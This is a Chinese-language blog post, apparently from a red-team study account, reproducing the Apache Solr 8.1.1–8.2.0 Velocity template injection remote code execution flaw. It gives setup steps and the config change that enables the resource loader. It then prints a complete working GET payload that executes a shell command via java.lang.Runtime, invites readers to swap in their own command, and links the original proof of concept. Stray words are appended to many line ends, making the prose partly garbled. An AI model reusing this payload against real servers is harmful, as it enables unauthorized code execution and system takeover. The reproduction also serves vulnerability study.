0x01 漏洞介绍 0x02 漏洞范围 0x03 漏洞复现java
Solr是一个独立的企业级搜索应用服务器,它对外提供相似于web-service的API接口。10月31号,国外安全研究院S00pY在GitHub发布了Apache Solr Velocity模板注入RCE的poc,截至写稿之时,Apache Solr官方还未发布该漏洞的补丁。git
Apache Solr8.1.1~8.2.0版本 低版本Apache Solr不肯定github
首先先安装好必要的Java8环境,而后把Solr下载回来web
而后直接经过bin文件下的solr启动安全
会出现一些警告信息,咱们能够经过修改bin
下的solr.in.sh
文件来进行消除,将SOLR_ULIMIT_CHECKS
设置为false
服务器
而后再次进行启动学习
再启动后访问http://IP:8983/solr
可是发现不能建立core插件
咱们先手动在/server/solr/
目录下建立一个new_core
的文件夹,而后将/server/solr/configsets/_default/
下的conf
目录拷贝到new_core
目录下,以后再点建立3d
Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled
默认值设置为false,可是能够经过POST请求直接修改集合设置,将其设置为true,而后就能够构造特殊的GET请求来实现远程代码执行。code
咱们的地址为http://IP:8983/solr/#/~cores/new_core
而后根据如下的代码来更改其默认配置
接下来咱们就能够构造payload来实现RCE了
http://192.168.175.132:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
只须要更改其中的代码就能够了
POC:
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
文章首发公众号:无意的梦呓(wuxinmengyi)
这是一个记录红队学习、信安笔记,我的成长的公众号
扫码关注便可